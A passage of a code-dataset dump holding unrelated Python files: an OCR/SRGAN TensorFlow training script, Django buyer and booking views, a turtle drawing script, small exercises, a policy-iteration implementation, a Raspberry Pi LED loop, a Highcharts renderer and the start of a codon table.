res_loss = tf.reduce_mean(tf.nn.ctc_loss(labels=labels, inputs=net_res, sequence_length=seq_len))\n res_optim = tf.train.AdamOptimizer(LEARNING_RATE_INITIAL).minimize(res_loss, global_step=global_step, var_list=res_vars)\n res_decoded, _ = tf.nn.ctc_beam_search_decoder(net_res, seq_len, beam_width=10, merge_repeated=False)\n res_acc = tf.reduce_sum(tf.edit_distance(tf.cast(res_decoded[0], tf.int32), labels, normalize=False))\n res_acc = 1 - res_acc / tf.to_float(tf.size(labels.values))\n\n # 对抗网络\n net_g = SRGAN_g(layer_clears, reuse = False)\n logits_real = SRGAN_d(layer_targets, reuse = False)\n logits_fake = SRGAN_d(net_g, reuse = True)\n _, res_target_emb = RES(layer_targets, reuse = True)\n _, res_predict_emb = RES(net_g, reuse = True)\n\n\n # logits_real = tf.nn.sigmoid(logits_real)\n # logits_fake = tf.nn.sigmoid(logits_fake)\n # d_loss1 = -tf.reduce_mean(tf.log(logits_real))\n # d_loss2 = -tf.reduce_mean(tf.log(1-logits_fake))\n # g_gan_loss = -tf.reduce_mean(tf.log(logits_fake))\n\n\n d_loss1 = tf.losses.sigmoid_cross_entropy(tf.ones_like(logits_real), logits_real)\n d_loss2 = tf.losses.sigmoid_cross_entropy(tf.zeros_like(logits_fake), logits_fake)\n d_loss = d_loss1 + d_loss2\n g_gan_loss = tf.losses.sigmoid_cross_entropy(tf.ones_like(logits_fake), logits_fake)\n g_mse_loss = tf.losses.mean_squared_error(layer_targets, net_g)\n g_res_loss = tf.losses.mean_squared_error(res_target_emb, res_predict_emb)\n g_loss = g_gan_loss + g_mse_loss + g_res_loss\n \n g_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='SRGAN_g')\n d_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='SRGAN_d')\n\n g_optim_mse = tf.train.AdamOptimizer(LEARNING_RATE_INITIAL).minimize(g_mse_loss, global_step=global_step, var_list=g_vars)\n g_optim = tf.train.AdamOptimizer(LEARNING_RATE_INITIAL).minimize(g_loss, global_step=global_step, var_list=g_vars)\n d_optim = tf.train.AdamOptimizer(LEARNING_RATE_INITIAL).minimize(d_loss, global_step=global_step, var_list=d_vars)\n\n return inputs, clears, targets, labels, global_step, \\\n dncnn, dncnn_loss, dncnn_optim, \\\n g_optim_mse, d_loss, d_loss1, d_loss2, d_optim, \\\n g_loss, g_mse_loss, g_res_loss, g_gan_loss, g_optim, net_g, \\\n res_loss, res_optim, seq_len, res_acc, res_decoded\n\n\nENGFontNames, CHIFontNames = utils_font.get_font_names_from_url()\nprint(\"EngFontNames\", ENGFontNames)\nprint(\"CHIFontNames\", CHIFontNames)\nAllFontNames = ENGFontNames + CHIFontNames\nAllFontNames.remove(\"方正兰亭超细黑简体\")\nAllFontNames.remove(\"幼圆\")\nAllFontNames.remove(\"方正舒体\")\nAllFontNames.remove(\"方正姚体\")\nAllFontNames.remove(\"Impact\")\nAllFontNames.remove(\"Gabriola\")\n\neng_world_list = open(os.path.join(curr_dir,\"eng.wordlist.txt\"),encoding=\"UTF-8\").readlines() \n\ndef list_to_chars(list):\n return \"\".join([CHARS[v] for v in list])\n\ndef get_next_batch_for_res(batch_size=128):\n images = [] \n codes = []\n max_width_image = 0\n info = \"\"\n for i in range(batch_size):\n font_name = random.choice(AllFontNames)\n font_length = random.randint(25, 30)\n if random.random()>0.5:\n font_size = random.randint(8, 49) \n else:\n font_size = random.randint(8, 15) \n font_mode = random.choice([0,1,2,4]) \n font_hint = random.choice([0,1,2,3,4,5]) #删除了2\n text = random.sample(CHARS, 12)\n text = text+text+[\" \",\" \"]\n random.shuffle(text)\n text = \"\".join(text).strip()\n codes.append([CHARS.index(char) for char in text]) \n image = utils_font.get_font_image_from_url(text, font_name, font_size, font_mode, font_hint )\n image = utils_pil.resize_by_height(image, image_height, random.random()>0.5)\n image = utils_font.add_noise(image) \n image = utils_pil.convert_to_gray(image) \n image = np.asarray(image) \n image = utils.resize(image, height=image_height)\n if random.random()>0.5:\n image = (255. - image) / 255.\n else:\n image = image / 255.\n images.append(image)\n if image.shape[1] > max_width_image: \n max_width_image = image.shape[1]\n info = info+\"%s\\n\\r\" % utils_font.get_font_url(text, font_name, font_size, font_mode, font_hint)\n max_width_image = max_width_image + (POOL_SIZE - max_width_image % POOL_SIZE)\n inputs = np.zeros([batch_size, max_width_image, image_height])\n for i in range(len(images)):\n image_vec = utils.img2vec(images[i], height=image_height, width=max_width_image, flatten=False)\n inputs[i,:] = np.transpose(image_vec)\n\n labels = [np.asarray(i) for i in codes]\n sparse_labels = utils.sparse_tuple_from(labels)\n seq_len = np.ones(batch_size) * (max_width_image * image_height ) // (POOL_SIZE * POOL_SIZE) \n return inputs, sparse_labels, seq_len, info\n \ndef get_next_batch_for_res_train(batch_size=128):\n images = [] \n codes = []\n max_width_image = 0\n info = \"\"\n for i in range(batch_size):\n font_name = random.choice(AllFontNames)\n font_length = random.randint(25, 30)\n font_size = 36 \n font_mode = random.choice([0,1,2,4]) \n font_hint = random.choice([0,1,2,3,4,5]) #删除了2\n text = random.sample(CHARS, 12)\n text = text+text+[\" \",\" \"]\n random.shuffle(text)\n text = \"\".join(text).strip()\n codes.append([CHARS.index(char) for char in text]) \n image = utils_font.get_font_image_from_url(text, font_name, font_size, font_mode, font_hint )\n image = utils_pil.resize_by_height(image, image_height)\n image = utils_pil.convert_to_gray(image) \n image = np.asarray(image) \n # image = utils.resize(image, height=image_height)\n # image = utils.img2bwinv(image)\n image = utils_pil.convert_to_bw(image) \n images.append((255. - image) / 255.)\n if image.shape[1] > max_width_image: \n max_width_image = image.shape[1]\n info = info+\"%s\\n\\r\" % utils_font.get_font_url(text, font_name, font_size, font_mode, font_hint)\n max_width_image = max_width_image + (POOL_SIZE - max_width_image % POOL_SIZE)\n inputs = np.zeros([batch_size, max_width_image, image_height])\n for i in range(len(images)):\n image_vec = utils.img2vec(images[i], height=image_height, width=max_width_image, flatten=False)\n inputs[i,:] = np.transpose(image_vec)\n\n labels = [np.asarray(i) for i in codes]\n sparse_labels = utils.sparse_tuple_from(labels)\n seq_len = np.ones(batch_size) * (max_width_image * image_height ) // (POOL_SIZE * POOL_SIZE) \n return inputs, sparse_labels, seq_len, info\n\n# 生成一个训练batch ,每一个批次采用最大图片宽度\ndef get_next_batch_for_srgan(batch_size=128):\n inputs_images = []\n clears_images = [] \n targets_images = []\n max_width_image = 0\n for i in range(batch_size):\n font_name = random.choice(AllFontNames)\n font_length = random.randint(25, 30)\n font_size = 36 #random.randint(image_height, 64) \n font_mode = random.choice([0,1,2,4]) \n font_hint = random.choice([0,1,2,3,4,5]) #删除了2\n text = utils_font.get_random_text(CHARS, eng_world_list, font_length)\n image = utils_font.get_font_image_from_url(text, font_name, font_size, font_mode, font_hint)\n image = utils_pil.resize_by_height(image, image_height)\n image = utils_pil.convert_to_gray(image)\n targets_image = image.copy()\n\n _h = random.randint(9, image_height // random.choice([1,1.5,2,2.5]))\n image = utils_pil.resize_by_height(image, _h) \n image = utils_pil.resize_by_height(image, image_height, random.random()>0.5) \n\n clears_image = image.copy()\n clears_image = np.asarray(clears_image)\n # clears_image = utils.resize(clears_image, height=image_height)\n clears_image = utils_pil.convert_to_bw(clears_image)\n clears_images.append((255. - clears_image) / 255.)\n\n image = utils_font.add_noise(image) \n image = np.asarray(image)\n # image = utils.resize(image, height=image_height)\n image = image * random.uniform(0.3, 1)\n if random.random()>0.5:\n image = (255. - image) / 255.\n else:\n image = image / 255.\n inputs_images.append(image)\n\n targets_image = np.asarray(targets_image) \n # targets_image = utils.resize(targets_image, height=image_height)\n # targets_image = utils.img2bwinv(targets_image)\n targets_image = utils_pil.convert_to_bw(targets_image) \n targets_images.append((255. - targets_image) / 255.)\n\n if image.shape[1] > max_width_image: \n max_width_image = image.shape[1]\n if clears_image.shape[1] > max_width_image: \n max_width_image = clears_image.shape[1] \n if targets_image.shape[1] > max_width_image: \n max_width_image = targets_image.shape[1] \n\n # max_width_image = max_width_image + (POOL_SIZE - max_width_image % POOL_SIZE)\n inputs = np.zeros([batch_size, max_width_image, image_height])\n for i in range(batch_size):\n image_vec = utils.img2vec(inputs_images[i], height=image_height, width=max_width_image, flatten=False)\n inputs[i,:] = np.transpose(image_vec)\n\n clears = np.zeros([batch_size, max_width_image, image_height])\n for i in range(batch_size):\n image_vec = utils.img2vec(clears_images[i], height=image_height, width=max_width_image, flatten=False)\n clears[i,:] = np.transpose(image_vec)\n\n targets = np.zeros([batch_size, max_width_image, image_height])\n for i in range(batch_size):\n image_vec = utils.img2vec(targets_images[i], height=image_height, width=max_width_image, flatten=False)\n targets[i,:] = np.transpose(image_vec)\n\n return inputs, clears, targets\n\ndef train():\n inputs, clears, targets, labels, global_step, \\\n dncnn, dncnn_loss, dncnn_optim, \\\n g_optim_mse, d_loss, d_loss1, d_loss2, d_optim, \\\n g_loss, g_mse_loss, g_res_loss, g_gan_loss, g_optim, net_g, \\\n res_loss, res_optim, seq_len, res_acc, res_decoded = neural_networks()\n\n curr_dir = os.path.dirname(__file__)\n model_dir = os.path.join(curr_dir, MODEL_SAVE_NAME)\n if not os.path.exists(model_dir): os.mkdir(model_dir)\n model_R_dir = os.path.join(model_dir, \"R\")\n model_D_dir = os.path.join(model_dir, \"D\")\n model_G_dir = os.path.join(model_dir, \"G\")\n model_C_dir = os.path.join(model_dir, \"C\")\n if not os.path.exists(model_R_dir): os.mkdir(model_R_dir)\n if not os.path.exists(model_D_dir): os.mkdir(model_D_dir)\n if not os.path.exists(model_G_dir): os.mkdir(model_G_dir) \n if not os.path.exists(model_C_dir): os.mkdir(model_C_dir) \n \n init = tf.global_variables_initializer()\n with tf.Session() as session:\n session.run(init)\n\n c_saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='DnCNN'), max_to_keep=5)\n r_saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='RES'), max_to_keep=5)\n d_saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='SRGAN_d'), max_to_keep=5)\n g_saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='SRGAN_g'), max_to_keep=5)\n\n ckpt = tf.train.get_checkpoint_state(model_C_dir)\n if ckpt and ckpt.model_checkpoint_path: \n print(\"Restore Model C...\")\n c_saver.restore(session, ckpt.model_checkpoint_path) \n ckpt = tf.train.get_checkpoint_state(model_R_dir)\n ckpt = tf.train.get_checkpoint_state(model_G_dir)\n if ckpt and ckpt.model_checkpoint_path: \n print(\"Restore Model G...\")\n g_saver.restore(session, ckpt.model_checkpoint_path) \n ckpt = tf.train.get_checkpoint_state(model_R_dir)\n if ckpt and ckpt.model_checkpoint_path:\n print(\"Restore Model R...\")\n r_saver.restore(session, ckpt.model_checkpoint_path) \n ckpt = tf.train.get_checkpoint_state(model_D_dir)\n if ckpt and ckpt.model_checkpoint_path:\n print(\"Restore Model D...\")\n d_saver.restore(session, ckpt.model_checkpoint_path) \n \n while True:\n for batch in range(BATCHES):\n train_inputs, train_clears, train_targets = get_next_batch_for_srgan(2)\n feed = {inputs: train_inputs, clears: train_clears, targets: train_targets}\n\n # train DnCNN\n start = time.time() \n ## update D\n errDnCNN, _, steps = session.run([dncnn_loss, dncnn_optim, global_step], feed)\n print(\"%d time: %4.4fs, dnCNN_loss: %.8f\" % (steps, time.time() - start, errDnCNN))\n if np.isnan(errDnCNN) or np.isinf(errDnCNN):\n print(\"Error: cost is nan or inf\")\n return \n start_steps = steps \n\n train_inputs, train_clears, train_targets = get_next_batch_for_srgan(1)\n feed = {inputs: train_inputs, clears: train_clears, targets: train_targets}\n\n # train GAN (SRGAN)\n start = time.time() \n ## update D\n errD, errD1, errD2, _, steps = session.run([d_loss, d_loss1, d_loss2, d_optim, global_step], feed)\n print(\"%d time: %4.4fs, d_loss: %.8f (d_loss1: %.6f d_loss2: %.6f)\" % (steps, time.time() - start, errD, errD1, errD2))\n if np.isnan(errD) or np.isinf(errD):\n print(\"Error: cost is nan or inf\")\n return \n\n ## update G\n start = time.time() \n errG, errM, errV, errA, _, steps = session.run([g_loss, g_mse_loss, g_res_loss, g_gan_loss, g_optim, global_step], feed)\n print(\"%d time: %4.4fs, g_loss: %.8f (mse: %.6f res: %.6f adv: %.6f)\" % (steps, time.time() - start, errG, errM, errV, errA))\n if np.isnan(errG) or np.isinf(errG) or np.isnan(errM) or np.isinf(errM) or np.isnan(errA) or np.isinf(errA):\n print(\"Error: cost is nan or inf\")\n return \n\n # 如果D网络的差异太大,需要多学习下G网络\n for i in range(8):\n train_inputs, train_clears, train_targets = get_next_batch_for_srgan(1)\n feed = {inputs: train_inputs, clears: train_clears, targets: train_targets}\n\n if errM > 0.1:\n # train G\n start = time.time() \n errM, _ , steps= session.run([g_mse_loss, g_optim_mse, global_step], feed)\n print(\"%d time: %4.4fs, g_mse_loss: %.8f \" % (steps, time.time() - start, errM))\n if np.isnan(errM) or np.isinf(errM) :\n print(\"Error: cost is nan or inf\")\n return\n\n if errD1 < errA:\n ## update G\n start = time.time() \n errG, errM, errV, errA, _, steps = session.run([g_loss, g_mse_loss, g_res_loss, g_gan_loss, g_optim, global_step], feed)\n print(\"%d time: %4.4fs, g_loss: %.8f (mse: %.6f res: %.6f adv: %.6f)\" % (steps, time.time() - start, errG, errM, errV, errA))\n if np.isnan(errG) or np.isinf(errG) or np.isnan(errA) or np.isinf(errA):\n print(\"Error: cost is nan or inf\")\n return \n else:\n ## update D\n start = time.time() \n errD, errD1, errD2, _, steps = session.run([d_loss, d_loss1, d_loss2, d_optim, global_step], feed)\n print(\"%d time: %4.4fs, d_loss: %.8f (d_loss1: %.6f d_loss2: %.6f)\" % (steps, time.time() - start, errD, errD1, errD2))\n if np.isnan(errD) or np.isinf(errD):\n print(\"Error: cost is nan or inf\")\n return \n\n # # 训练RES\n # for i in range(16):\n # train_inputs, train_labels, train_seq_len, train_info = get_next_batch_for_res_train(4)\n # feed = {inputs: train_inputs, labels: train_labels, seq_len: train_seq_len}\n # start = time.time() \n # errR, acc, _ , steps= session.run([res_loss, res_acc, res_optim, global_step], feed)\n # print(\"%d time: %4.4fs, res_loss: %.8f, res_acc: %.8f \" % (steps, time.time() - start, errR, acc))\n # if np.isnan(errR) or np.isinf(errR) :\n # print(\"Error: cost is nan or inf\")\n # return \n\n # 报告\n # if steps > 0 and steps % REPORT_STEPS < (steps-start_steps):\n # train_inputs, train_labels, train_seq_len, train_info = get_next_batch_for_res(4) \n # print(train_info) \n # p_dcCnn = session.run(dncnn, {inputs: train_inputs})\n # p_dcCnn = np.squeeze(p_dcCnn)\n # p_net_g = session.run(net_g, {inputs: train_inputs, clears: p_dcCnn}) \n # p_net_g = np.squeeze(p_net_g)\n # decoded_list = session.run(res_decoded[0], {inputs: p_net_g, seq_len: train_seq_len}) \n\n # for i in range(4): \n # _p_dcCnn = np.transpose(p_dcCnn[i]) \n # _p_net_g = np.transpose(p_net_g[i]) \n # _img = np.vstack((np.transpose(train_inputs[i]), _p_dcCnn, _p_net_g)) \n # cv2.imwrite(os.path.join(curr_dir,\"test\",\"%s_%s.png\"%(steps,i)), _img * 255) \n\n # original_list = utils.decode_sparse_tensor(train_labels)\n # detected_list = utils.decode_sparse_tensor(decoded_list)\n # if len(original_list) != len(detected_list):\n # print(\"len(original_list)\", len(original_list), \"len(detected_list)\", len(detected_list),\n # \" test and detect length desn't match\")\n # print(\"T/F: original(length) <-------> detectcted(length)\")\n # acc = 0.\n # for idx in range(min(len(original_list),len(detected_list))):\n # number = original_list[idx]\n # detect_number = detected_list[idx] \n # hit = (number == detect_number) \n # print(\"%6s\" % hit, list_to_chars(number), \"(\", len(number), \")\")\n # print(\"%6s\" % \"\", list_to_chars(detect_number), \"(\", len(detect_number), \")\")\n # # 计算莱文斯坦比\n # import Levenshtein\n # acc += Levenshtein.ratio(list_to_chars(number),list_to_chars(detect_number))\n # print(\"Test Accuracy:\", acc / len(original_list))\n\n print(\"Save Model C ...\")\n c_saver.save(session, os.path.join(model_C_dir, \"C.ckpt\"), global_step=steps)\n # print(\"Save Model R ...\")\n # r_saver.save(session, os.path.join(model_R_dir, \"R.ckpt\"), global_step=steps)\n ckpt = tf.train.get_checkpoint_state(model_R_dir)\n if ckpt and ckpt.model_checkpoint_path:\n print(\"Restore Model R...\")\n r_saver.restore(session, ckpt.model_checkpoint_path)\n print(\"Save Model D ...\")\n d_saver.save(session, os.path.join(model_D_dir, \"D.ckpt\"), global_step=steps)\n print(\"Save Model G ...\")\n g_saver.save(session, os.path.join(model_G_dir, \"G.ckpt\"), global_step=steps)\n \nif __name__ == '__main__':\n train()","sub_path":"6_ocr/1/ocr_ascii_srgan.py","file_name":"ocr_ascii_srgan.py","file_ext":"py","file_size_in_byte":24889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"485704750","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import UserForm,ProfileForm\nfrom .models import Buyer_profile\nfrom vendor.models import Vendor_profile,TripPlan,Booking\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.core.urlresolvers import reverse\n\n# Create your views here.\ndef buyer(request):\n user = User.objects.get(username = request.user.username)\n profile = buyer_profile.objects.get(user =user)\n vendor = Vendor_profile.objects.all()\n return render(request, 'buyer/buyer.html', {\"profile\": profile, \"vendor\":vendor})\n\n\ndef update_profile(request,username):\n user = User.objects.get(username = username)\n if request.method == 'POST':\n user_form = UserForm(request.POST, instance = request.user)\n profile_form = ProfileForm(request.POST, instance =request.user.buyer_profile, files = request.FILES)\n if user_form.is_valid() and profile_form.is_valid():\n print('master')\n user_form.save()\n profile_form.save()\n messages.success(request, ('Your profile was successfully updated!'))\n return redirect(reverse('buyer:profile', kwargs = {'username': request.user.username}))\n else:\n messages.error(request, ('Please correct the error below.'))\n\n else:\n user_form = UserForm(instance = request.user)\n profile_form = ProfileForm(instance = request.user.buyer_profile)\n return render(request, 'buyer/profiles/profile_form.html', {\"user_form\":user_form, \"profile_form\":profile_form})\n\n@login_required\ndef profile(request, username):\n user = User.objects.get(username =username)\n if not user:\n return redirect('buyer')\n profiles = Buyer_profile.objects.get(user =user)\n\n title = f\"{user.username}\"\n\n return render(request, 'buyer/profiles/profile.html', {\"title\":title, \"user\":user, \"profiles\": profiles})\n\n\n#Buyer sees a particular vendor's profile\ndef vendor_profile(request,vendor_profile_id,trip_plan_id):\n user= User.objects.get(id = vendor_profile_id)\n if user:\n vendor_profile = Vendor_profile.objects.get(user=user)\n trip_plan = TripPlan.objects.get(id = trip_plan_id)\n existing_bookings = Booking.objects.filter(trip_plan =trip_plan.id)\n if len(existing_bookings) < trip_plan.vendor_profile.car_capacity:\n seats_left = trip_plan.vendor_profile.car_capacity - len(existing_bookings)\n return render(request,'buyer/vendor_profile.html',{'vendor_profile': vendor_profile,\"seats_left\":seats_left,\"trip_plan\":trip_plan})\n elif len(existing_bookings) == trip_plan.vendor_profile.car_capacity:\n message = \"this ride is fully booked\"\n return render(request,'buyer/vendor_profile.html',{'vendor_profile': vendor_profile,\"message\":message})\n\ndef booking_seat(request, vendor_profile_id):\n current_user = request.user\n\n buyer_profile = Buyer_profile.objects.get(user= current_user)\n\n found_profile = Vendor_profile.objects.get(id = vendor_profile_id)\n\n trip_plan = TripPlan.objects.get(vendor_profile = found_profile)\n\n existing_bookings = Booking.objects.filter(trip_plan=trip_plan)\n\n if len(existing_bookings) < trip_plan.vendor_profile.car_capacity:\n new_booking = Booking(buyer_profile= buyer_profile, trip_plan = trip_plan)\n\n new_booking.save()\n\n print(new_booking)\n\n elif len(existing_bookings) == trip_plan.vendor_profile.car_capacity:\n return redirect(reverse('buyer:vendor_profile', kwargs={'vendor_profile_id':Vendor_profile.user.id}))\n","sub_path":"buyer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"640786898","text":"import turtle as T\nimport canvasvg\nimport os\nfrom random import randint\n\nT.speed(0)\n\nT.setup(width=100, height=100, startx=50, starty=50)\nT.forward(60)\nT.left(90)\nT.forward(60)\nT.left(90)\nT.forward(60)\nT.left(90)\nT.forward(60)\nT.left(90)\n\nT.hideturtle()\nts = T.getscreen().getcanvas()\ncanvasvg.saveall(\"image.svg\",ts)\nT.clear()\nscript = \"convert -size 100x100 image.svg images/square_1.png\"\n\nos.system(script)\nos.system(\"rm image.svg\")\n","sub_path":"make_square_1.py","file_name":"make_square_1.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"322912036","text":"#10000den küçük 2 veya 3e bölünebilen sayıların adedi\r\nx = [i for i in range(10000) if i % 2 == 0 or i % 3 ==0 ] \r\nlenx=len(x)\r\nprint(\"10.000 küçük,2 veya 3 sayısına tam bölünen sayılar {0} tanedir.\".format(lenx))\r\n\r\n#Girilen sayıdan küçük 2 veya 3e bölünebilen sayıların adedi\r\na=int(input(\"Lütfen bir sayı giriniz:\"))\r\ny = [i for i in range(a) if i % 2 == 0 or i % 3 ==0 ] \r\nleny=len(y)\r\nprint(\"{1} sayısından küçük, 2 veya 3 sayısına tam bölünen sayılar {0} tanedir.\".format(leny,a))","sub_path":"soru1.py","file_name":"soru1.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"590823635","text":"class Solution(object):\n def addStrings(self, num1, num2):\n \"\"\"\n :type num1: str\n :type num2: str\n :rtype: str\n \"\"\"\n ans=[]\n carry=0\n num1=list(num1)\n num2=list(num2)\n while len(num1)>0 or len(num2)>0:\n if len(num1)>0:\n a=ord(num1.pop())-ord(\"0\")\n else:\n a=0\n if len(num2)>0:\n b=ord(num2.pop())-ord(\"0\")\n else:\n b=0\n res=a+b+carry\n ans.append(str(res%10))\n carry=res/10\n if carry!=0:\n ans.append(str(carry))\n result=\"\"\n for i in range(len(ans)-1,-1,-1):\n result+=ans[i]\n return result","sub_path":"Python/415. Add Strings.py","file_name":"415. Add Strings.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"526863096","text":"import numpy as np\nimport time\n\n\ndef howards_policy_iteration(env, gamma, theta):\n\t\"\"\"\n\t:param env: An implementation of the game rules.\n\t:param gamma: The discount factor.\n\t:param theta: An arbitrary small number to discontinue iteration. Do not adjust.\n\t:return: A table of value estimations (V), and a matrix of tables and actions representing the final (policy).\n\t\"\"\"\n\t# Initialization\n\tt = time.perf_counter()\n\tV, policy = env.initialize()\n\tloop_counter = 0\n\n\twhile True:\n\t\tloop_counter += 1\n\n\t\t# Evaluation step\n\t\tV, eval_counter = evaluate(env, V, policy, gamma, theta)\n\n\t\t# Improvement step\n\t\tpolicy, policy_stable = improve(env, V, policy, gamma)\n\t\tif policy_stable is True:\n\t\t\telapsed_time = time.perf_counter() - t\n\t\t\treturn V, policy, loop_counter, elapsed_time\n\n\ndef evaluate(env, V, policy, gamma, theta):\n\t\"\"\"\n\t:param env: An implementation of the game rules.\n\t:param V: A table of values under the current policy.\n\t:param policy: A 16x4 frame containing probabilities of action selection for each move under the current policy.\n\t:param gamma: The discount factor parameter.\n\t:param theta: An arbitrary small number to discontinue iteration. Do not adjust.\n\t:return: An updated value table (V); the number of loops completed (evaluation_counter).\n\t\"\"\"\n\tevaluation_counter = 0\n\twhile True:\n\t\tdelta = 0\n\t\tfor state in env.non_terminal_states:\n\t\t\tv = np.copy(V[state])\n\t\t\tV[state] = 0\n\t\t\tfor action in range(4):\n\t\t\t\tfor possible_outcome in env.transition_function(state, action):\n\t\t\t\t\ttrans_prob = possible_outcome[0]\n\t\t\t\t\tnext_state = possible_outcome[1]\n\n\t\t\t\t\tV[state] += policy[state, action] * trans_prob * (env.R[next_state] + gamma * V[next_state])\n\n\t\t\tdelta = max(delta, abs(v - V[state]))\n\n\t\tevaluation_counter += 1\n\n\t\tif delta < theta:\n\t\t\treturn V, evaluation_counter\n\n\ndef improve(env, V, policy, gamma):\n\t\"\"\"\n\t:param env: An implementation of the game rules.\n\t:param V: A table of values under the current policy.\n\t:param policy: A 16x4 frame containing probabilities of action selection for each move under the current policy.\n\t:param gamma: The discount factor parameter.\n\t:return: The improved policy (policy), whether it is stable (policy_stable)\n\t\"\"\"\n\tpolicy_stable = True\n\tfor state in env.non_terminal_states:\n\t\told_policy = np.copy(policy[state])\n\t\tQ = np.zeros([4, 1])\n\t\tfor action in range(4):\n\t\t\tfor possible_outcome in env.transition_function(state, action):\n\t\t\t\ttrans_prob = possible_outcome[0]\n\t\t\t\tnext_state = possible_outcome[1]\n\t\t\t\tQ[action] += trans_prob * (env.R[next_state] + gamma * V[next_state])\n\n\t\tpolicy[state, np.argmax(Q)] = 1\n\t\tpolicy[state, np.arange(4) != np.argmax(Q)] = 0\n\n\t\tif not np.array_equal(old_policy, policy[state]):\n\t\t\tpolicy_stable = False\n\n\treturn policy, policy_stable\n\n\n\n\n","sub_path":"PRL/Assignments_yay/Assignment1_Archived/Howards_Policy_Iteration.py","file_name":"Howards_Policy_Iteration.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"519408195","text":"from gpiozero import PWMLED\nfrom time import sleep\n\nleds = [PWMLED(17), PWMLED(22), PWMLED(27), PWMLED(23), PWMLED(24)]\n\nwhile True:\n\t\n\tfor led in leds:\n\t\tled.value = 1\n\t\tsleep(.1)\n\t\tled.value = 0\n","sub_path":"christmas_lights.py","file_name":"christmas_lights.py","file_ext":"py","file_size_in_byte":197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"252461762","text":"import os\n\nimport pandas_highcharts.core\nimport pandas as pd\nfrom django.conf import settings\nfrom django.template import Template, Context\n\nclass RenderTemplate():\n\n def __init__(self, path):\n templates_base_dir = os.path.join(settings.BASE_DIR, 'guru/templates')\n self.template = Template(open(os.path.join(templates_base_dir, path), 'rt').read())\n self.js = ''\n\n def render_to(self, section, content):\n self.js += 'document.getElementById(\"section_%s_header\").innerHTML = \"%s\";'%(section, content['header'])\n #self.js += '$(\"#section_%s_header\").html(\"%s\");'%(section, content['header'])\n\n if content['type'] == 'graph':\n chart = content['body']\n kind = content.get('graph_type', 'line')\n title = content.get('title', 'Report')\n chart = chart.unstack(level=0)\n chart = pandas_highcharts.core.serialize(chart, title=title, render_to='section_%s_body'%(section), output_type='dict', kind=kind, figsize=(928, 520))\n chart['chart']['backgroundColor'] = \"#2a2a2a\"\n\n chart['colors'] = [ \"#5290e9\", \"#71b37c\", \"#ec932f\", \"#e14d57\", \"#965994\", \"#9d7952\", \"#cc527b\", \"#33867f\", \"#ada434\" ]\n #chart['tooltip'] = {'crosshairs': True, 'shared': True},\n chart['plotOptions'] = {'spline': {'marker': {'radius':4, 'lineColor': '#666666', 'lineWidth': 1}}}\n\n chart = pd.io.json.dumps(chart)\n\n print(str(chart))\n\n self.js += 'new Highcharts.Chart(%s);'%(str(chart))\n else:#table or anything else\n self.js += \"\"\"document.getElementById(\"section_%s_body\").innerHTML = '%s';\"\"\"%(section, content['body'])\n #self.js += '$(\"#section_%s_body\").html(\"%s\");'%(section, content['body'])\n\n def render(self):\n context = Context({'js': self.js})\n return self.template.render(context)\n\n","sub_path":"guru_ars/guru/api_ai/pandas/renderers.py","file_name":"renderers.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"636554226","text":"import os\nimport sys\nimport doctest\nimport PySimpleGUI as sg\nimport docx\nfrom docx import Document\nfrom docx.enum.dml import MSO_COLOR_TYPE\nfrom docx.shared import Inches\nfrom docx.enum.text import WD_COLOR_INDEX\n\n\nstart = [\"AUG\", \"ATG\"]\nstopU = [\"UAA\", \"UAG\", \"UGA\", \"TAA\", \"TAG\", \"TGA\"]\npheU = [\"UUU\", \"UUC\", \"TTT\", \"TTC\"]\nleuU = [\"UUA\", \"UUG\", \"TTA\", \"TTG\"]\nleuC = [\"CUU\", \"CUC\", \"CUA\", \"CUG\", \"CTT\", \"CTC\", \"CTA\", \"CTG\"]\nileA = [\"AUU\", \"AUC\", \"AUA\", \"ATT\", \"ATC\", \"ATA\"]\nvalG = [\"GUU\", \"GUC\", \"GUA\", \"GUG\", \"GTT\", \"GTC\", \"GTA\", \"GTG\"]\nserU = [\"UCU\", \"UCC\", \"UCA\", \"UCG\", \"TCT\", \"TCC\", \"TCA\", \"TCG\"]\nproC = [\"CCU\", \"CCC\", \"CCA\", \"CCG\", \"CCT\"]\nthrA = [\"ACU\", \"ACC\", \"ACA\", \"ACG\", \"ACT\"]\nalaG = [\"GCU\", \"GCC\", \"GCA\", \"GCG\", \"GCT\"]\ntyrU = [\"UAU\", \"UAC\", \"TAT\", \"TAC\"]\nhisC = [\"CAU\", \"CAC\", \"CAT\"]\nglnC = [\"CAA\", \"CAG\"]\nasnA = [\"AAU\", \"AAC\", \"AAT\"]\nlysA = [\"AAA\", \"AAG\"]\naspG = [\"GAU\", \"GAC\", \"GAT\"]\ngluG = [\"GAA\", \"GAG\"]\ncysU = [\"UGU\", \"UGC\", \"TGT\", \"TGC\"]\ntrpU = [\"UGG\", \"TGG\"]\nargC = [\"CGU\", \"CGC\", \"CGA\", \"CGG\", \"CGT\"]\nglyG = [\"GGU\", 